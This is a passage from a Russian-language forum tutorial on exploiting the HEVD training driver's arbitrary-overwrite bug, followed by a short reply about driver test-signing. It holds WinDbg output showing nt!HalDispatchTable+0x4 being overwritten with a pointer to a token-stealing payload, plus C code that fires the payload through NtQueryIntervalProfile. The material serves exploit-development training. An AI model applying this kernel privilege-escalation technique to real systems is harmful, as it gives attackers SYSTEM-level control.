driver,
HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE,
uBuffer,
SIZE,
NULL,
0,
&bytesRet,
NULL);

Проверяем, что получилось. Ставим точку останова перед началом запуска эксплоита.

Код:
kd> bu HEVD!TriggerArbitraryOverwrite 0x61

kd> g
[+] UserWriteWhatWhere: 0x000E0000
[+] WRITE_WHAT_WHERE Size: 0x8
[+] UserWriteWhatWhere->What: 0x0025FF38
[+] UserWriteWhatWhere->Where: 0x82966434
[+] Triggering Arbitrary Overwrite
Breakpoint 2 hit
HEVD!TriggerArbitraryOverwrite+0x61:
93d71b69 mov eax,dword ptr [edi]

Затем проверяем данные.

Код:
kd> dd 0x0025FF38
0025ff38 00f012d8 bae57df8 0025ff88 00f014d9
0025ff48 00000001 002a06a8 0029e288 bae57d30
0025ff58 00000000 00000000 7ffdc000 2c407500
0025ff68 00000001 00769cbf 0025ff54 96a5085a
0025ff78 0025ffc4 00f01c7b ba30aa60 00000000
0025ff88 0025ff94 75ebee1c 7ffdc000 0025ffd4
0025ff98 77b23ab3 7ffdc000 779af1ec 00000000
0025ffa8 00000000 7ffdc000 00000000 00000000
kd> ln 00f012d8
Browse module
Set bu breakpoint

[C:\Users\abatchy\source\repos\HEVD\HEVD\shell32.asm @ 6] (00f012d8) HEVD_f00000!StealToken | (00f01312) HEVD_f00000!__security_check_cookie
Exact matches:
HEVD_f00000!StealToken (void)

Первая часть прошла успешно. Как и планировалось, мы передали указатель в полезную нагрузку. Проверяем перезапись адреса (часть where).

Код:
kd> ln 0x82966434
Browse module
Set bu breakpoint

(82966430) nt!HalDispatchTable+0x4 | (8296648c) nt!BuiltinCallbackReg

Как и планировалось, переменная Where указывает на адрес nt!HalDispatchTable+0x4.

Код:
kd> p
HEVD!TriggerArbitraryOverwrite+0x63:
93d71b6b mov dword ptr [ebx],eax
kd> p
HEVD!TriggerArbitraryOverwrite+0x65:
93d71b6d jmp HEVD!TriggerArbitraryOverwrite+0x8b (93d71b93)
kd> dd HalDispatchTable
0052c430 00000004 006b7aaf 006b7ac3 006b7ad7
0052c440 00000000 004015ba 00578507 006b73d8
0052c450 006b7683 004d8959 00519757 00519757
0052c460 004d8966 004d8977 00000000 006b8de7
0052c470 006b7aff 004d898b 004d8aa1 006b7b11
0052c480 004d8aa1 00000000 00000000 0044ec8c
0052c490 006b4d7f 00000000 0044ec9c 0056fc1c
0052c4a0 00000000 0044ecac 006b4f77 00000000

Запуск полезной нагрузки

Как объяснялось ранее, нам нужно вызвать функцию NtQueryIntervalProfile, адрес которой можно получить из библиотеки ntdll.dll.

Код:
// Trigger the payload by calling NtQueryIntervalProfile()
HMODULE ntdll = GetModuleHandle("ntdll");
PtrNtQueryIntervalProfile _NtQueryIntervalProfile =(PtrNtQueryIntervalProfile)GetProcAddress(ntdll,"NtQueryIntervalProfile");
if (_NtQueryIntervalProfile == NULL)
{
printf("[-] Failed to get address of NtQueryIntervalProfile.\n");
exit(-1);
}
ULONG whatever;
_NtQueryIntervalProfile(2, &whatever);

Полная версия эксплоита находится здесь.
 
Последнее редактирование:
"В случае с Windows 10 VM необходимо включить режим test signing, который позволяет загружать неподписанные драйвера в ядро.
После выполнения команды bcdedit /set testsinging on и перезагрузки на рабочем столе появится надпись «Test Mode»."

Это очень глупо. Можно просто подписать тестовым сертом для данной машины.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх